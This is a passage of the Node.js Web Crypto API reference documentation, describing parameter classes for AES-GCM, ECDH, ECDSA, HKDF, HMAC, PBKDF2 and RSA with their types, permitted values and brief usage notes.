<p>With the AES-GCM method, the <code>additionalData</code> is extra input that is not
encrypted but is included in the authentication of the data. The use of
<code>additionalData</code> is optional.</p>
</div><div>
<h5><code>aesGcmParams.iv</code><span><a class="mark" href="#aesgcmparamsiv" id="aesgcmparamsiv">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesgcmparams_iv"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>The initialization vector must be unique for every encryption operation using a
given key.</p>
<p>Ideally, this is a deterministic 12-byte value that is computed in such a way
that it is guaranteed to be unique across all invocations that use the same key.
Alternatively, the initialization vector may consist of at least 12
cryptographically random bytes. For more information on constructing
initialization vectors for AES-GCM, refer to Section 8 of <a href="https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf">NIST SP 800-38D</a>.</p>
</div><div>
<h5><code>aesGcmParams.name</code><span><a class="mark" href="#aesgcmparamsname" id="aesgcmparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesgcmparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'AES-GCM'</code>.</li>
</ul>
</div><div>
<h5><code>aesGcmParams.tagLength</code><span><a class="mark" href="#aesgcmparamstaglength" id="aesgcmparamstaglength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesgcmparams_taglength"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a> The size in bits of the generated authentication tag.
This values must be one of <code>32</code>, <code>64</code>, <code>96</code>, <code>104</code>, <code>112</code>, <code>120</code>, or
<code>128</code>. <strong>Default:</strong> <code>128</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>AesKeyAlgorithm</code><span><a class="mark" href="#class-aeskeyalgorithm" id="class-aeskeyalgorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_aeskeyalgorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>aesKeyAlgorithm.length</code><span><a class="mark" href="#aeskeyalgorithmlength" id="aeskeyalgorithmlength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aeskeyalgorithm_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length of the AES key in bits.</p>
</div><div>
<h5><code>aesKeyAlgorithm.name</code><span><a class="mark" href="#aeskeyalgorithmname" id="aeskeyalgorithmname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aeskeyalgorithm_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div></div><div>
<h4>Class: <code>AesKeyGenParams</code><span><a class="mark" href="#class-aeskeygenparams" id="class-aeskeygenparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_aeskeygenparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>aesKeyGenParams.length</code><span><a class="mark" href="#aeskeygenparamslength" id="aeskeygenparamslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aeskeygenparams_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length of the AES key to be generated. This must be either <code>128</code>, <code>192</code>,
or <code>256</code>.</p>
</div><div>
<h5><code>aesKeyGenParams.name</code><span><a class="mark" href="#aeskeygenparamsname" id="aeskeygenparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aeskeygenparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'AES-CBC'</code>, <code>'AES-CTR'</code>, <code>'AES-GCM'</code>, or
<code>'AES-KW'</code></li>
</ul>
</div></div><div>
<h4>Class: <code>EcdhKeyDeriveParams</code><span><a class="mark" href="#class-ecdhkeyderiveparams" id="class-ecdhkeyderiveparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_ecdhkeyderiveparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>ecdhKeyDeriveParams.name</code><span><a class="mark" href="#ecdhkeyderiveparamsname" id="ecdhkeyderiveparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ecdhkeyderiveparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'ECDH'</code>, <code>'X25519'</code>, or <code>'X448'</code>.</li>
</ul>
</div><div>
<h5><code>ecdhKeyDeriveParams.public</code><span><a class="mark" href="#ecdhkeyderiveparamspublic" id="ecdhkeyderiveparamspublic">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ecdhkeyderiveparams_public"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
</ul>
<p>ECDH key derivation operates by taking as input one parties private key and
another parties public key -- using both to generate a common shared secret.
The <code>ecdhKeyDeriveParams.public</code> property is set to the other parties public
key.</p>
</div></div><div>
<h4>Class: <code>EcdsaParams</code><span><a class="mark" href="#class-ecdsaparams" id="class-ecdsaparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_ecdsaparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>ecdsaParams.hash</code><span><a class="mark" href="#ecdsaparamshash" id="ecdsaparamshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ecdsaparams_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>ecdsaParams.name</code><span><a class="mark" href="#ecdsaparamsname" id="ecdsaparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ecdsaparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'ECDSA'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>EcKeyAlgorithm</code><span><a class="mark" href="#class-eckeyalgorithm" id="class-eckeyalgorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_eckeyalgorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>ecKeyAlgorithm.name</code><span><a class="mark" href="#eckeyalgorithmname" id="eckeyalgorithmname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_eckeyalgorithm_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div><div>
<h5><code>ecKeyAlgorithm.namedCurve</code><span><a class="mark" href="#eckeyalgorithmnamedcurve" id="eckeyalgorithmnamedcurve">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_eckeyalgorithm_namedcurve"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div></div><div>
<h4>Class: <code>EcKeyGenParams</code><span><a class="mark" href="#class-eckeygenparams" id="class-eckeygenparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_eckeygenparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>ecKeyGenParams.name</code><span><a class="mark" href="#eckeygenparamsname" id="eckeygenparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_eckeygenparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'ECDSA'</code> or <code>'ECDH'</code>.</li>
</ul>
</div><div>
<h5><code>ecKeyGenParams.namedCurve</code><span><a class="mark" href="#eckeygenparamsnamedcurve" id="eckeygenparamsnamedcurve">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_eckeygenparams_namedcurve"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'P-256'</code>, <code>'P-384'</code>, <code>'P-521'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>EcKeyImportParams</code><span><a class="mark" href="#class-eckeyimportparams" id="class-eckeyimportparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_eckeyimportparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>ecKeyImportParams.name</code><span><a class="mark" href="#eckeyimportparamsname" id="eckeyimportparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_eckeyimportparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'ECDSA'</code> or <code>'ECDH'</code>.</li>
</ul>
</div><div>
<h5><code>ecKeyImportParams.namedCurve</code><span><a class="mark" href="#eckeyimportparamsnamedcurve" id="eckeyimportparamsnamedcurve">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_eckeyimportparams_namedcurve"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'P-256'</code>, <code>'P-384'</code>, <code>'P-521'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>Ed448Params</code><span><a class="mark" href="#class-ed448params" id="class-ed448params">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_ed448params"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>ed448Params.name</code><span><a class="mark" href="#ed448paramsname" id="ed448paramsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ed448params_name"></a></h5>
<div class="api_metadata">
<span>Added in: v18.4.0, v16.17.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'Ed448'</code>.</li>
</ul>
</div><div>
<h5><code>ed448Params.context</code><span><a class="mark" href="#ed448paramscontext" id="ed448paramscontext">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ed448params_context"></a></h5>
<div class="api_metadata">
<span>Added in: v18.4.0, v16.17.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Undefined_type" class="type">&#x3C;undefined></a></li>
</ul>
<p>The <code>context</code> member represents the optional context data to associate with
the message.
The Node.js Web Crypto API implementation only supports zero-length context
which is equivalent to not providing context at all.</p>
</div></div><div>
<h4>Class: <code>HkdfParams</code><span><a class="mark" href="#class-hkdfparams" id="class-hkdfparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_hkdfparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>hkdfParams.hash</code><span><a class="mark" href="#hkdfparamshash" id="hkdfparamshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hkdfparams_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>hkdfParams.info</code><span><a class="mark" href="#hkdfparamsinfo" id="hkdfparamsinfo">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hkdfparams_info"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>Provides application-specific contextual input to the HKDF algorithm.
This can be zero-length but must be provided.</p>
</div><div>
<h5><code>hkdfParams.name</code><span><a class="mark" href="#hkdfparamsname" id="hkdfparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hkdfparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'HKDF'</code>.</li>
</ul>
</div><div>
<h5><code>hkdfParams.salt</code><span><a class="mark" href="#hkdfparamssalt" id="hkdfparamssalt">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hkdfparams_salt"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>The salt value significantly improves the strength of the HKDF algorithm.
It should be random or pseudorandom and should be the same length as the
output of the digest function (for instance, if using <code>'SHA-256'</code> as the
digest, the salt should be 256-bits of random data).</p>
</div></div><div>
<h4>Class: <code>HmacImportParams</code><span><a class="mark" href="#class-hmacimportparams" id="class-hmacimportparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_hmacimportparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>hmacImportParams.hash</code><span><a class="mark" href="#hmacimportparamshash" id="hmacimportparamshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmacimportparams_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>hmacImportParams.length</code><span><a class="mark" href="#hmacimportparamslength" id="hmacimportparamslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmacimportparams_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The optional number of bits in the HMAC key. This is optional and should
be omitted for most cases.</p>
</div><div>
<h5><code>hmacImportParams.name</code><span><a class="mark" href="#hmacimportparamsname" id="hmacimportparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmacimportparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'HMAC'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>HmacKeyAlgorithm</code><span><a class="mark" href="#class-hmackeyalgorithm" id="class-hmackeyalgorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_hmackeyalgorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>hmacKeyAlgorithm.hash</code><span><a class="mark" href="#hmackeyalgorithmhash" id="hmackeyalgorithmhash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmackeyalgorithm_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
</div><div>
<h5><code>hmacKeyAlgorithm.length</code><span><a class="mark" href="#hmackeyalgorithmlength" id="hmackeyalgorithmlength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmackeyalgorithm_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length of the HMAC key in bits.</p>
</div><div>
<h5><code>hmacKeyAlgorithm.name</code><span><a class="mark" href="#hmackeyalgorithmname" id="hmackeyalgorithmname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmackeyalgorithm_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div></div><div>
<h4>Class: <code>HmacKeyGenParams</code><span><a class="mark" href="#class-hmackeygenparams" id="class-hmackeygenparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_hmackeygenparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>hmacKeyGenParams.hash</code><span><a class="mark" href="#hmackeygenparamshash" id="hmackeygenparamshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmackeygenparams_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>hmacKeyGenParams.length</code><span><a class="mark" href="#hmackeygenparamslength" id="hmackeygenparamslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmackeygenparams_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The number of bits to generate for the HMAC key. If omitted,
the length will be determined by the hash algorithm used.
This is optional and should be omitted for most cases.</p>
</div><div>
<h5><code>hmacKeyGenParams.name</code><span><a class="mark" href="#hmackeygenparamsname" id="hmackeygenparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmackeygenparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'HMAC'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>KeyAlgorithm</code><span><a class="mark" href="#class-keyalgorithm" id="class-keyalgorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_keyalgorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>keyAlgorithm.name</code><span><a class="mark" href="#keyalgorithmname" id="keyalgorithmname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_keyalgorithm_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div></div><div>
<h4>Class: <code>Pbkdf2Params</code><span><a class="mark" href="#class-pbkdf2params" id="class-pbkdf2params">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_pbkdf2params"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>pbkdf2Params.hash</code><span><a class="mark" href="#pbkdf2paramshash" id="pbkdf2paramshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_pbkdf2params_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>pbkdf2Params.iterations</code><span><a class="mark" href="#pbkdf2paramsiterations" id="pbkdf2paramsiterations">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_pbkdf2params_iterations"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The number of iterations the PBKDF2 algorithm should make when deriving bits.</p>
</div><div>
<h5><code>pbkdf2Params.name</code><span><a class="mark" href="#pbkdf2paramsname" id="pbkdf2paramsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_pbkdf2params_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'PBKDF2'</code>.</li>
</ul>
</div><div>
<h5><code>pbkdf2Params.salt</code><span><a class="mark" href="#pbkdf2paramssalt" id="pbkdf2paramssalt">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_pbkdf2params_salt"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>Should be at least 16 random or pseudorandom bytes.</p>
</div></div><div>
<h4>Class: <code>RsaHashedImportParams</code><span><a class="mark" href="#class-rsahashedimportparams" id="class-rsahashedimportparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_rsahashedimportparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>rsaHashedImportParams.hash</code><span><a class="mark" href="#rsahashedimportparamshash" id="rsahashedimportparamshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedimportparams_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>rsaHashedImportParams.name</code><span><a class="mark" href="#rsahashedimportparamsname" id="rsahashedimportparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedimportparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'RSASSA-PKCS1-v1_5'</code>, <code>'RSA-PSS'</code>, or
<code>'RSA-OAEP'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>RsaHashedKeyAlgorithm</code><span><a class="mark" href="#class-rsahashedkeyalgorithm" id="class-rsahashedkeyalgorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_rsahashedkeyalgorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>rsaHashedKeyAlgorithm.hash</code><span><a class="mark" href="#rsahashedkeyalgorithmhash" id="rsahashedkeyalgorithmhash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeyalgorithm_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
</div><div>
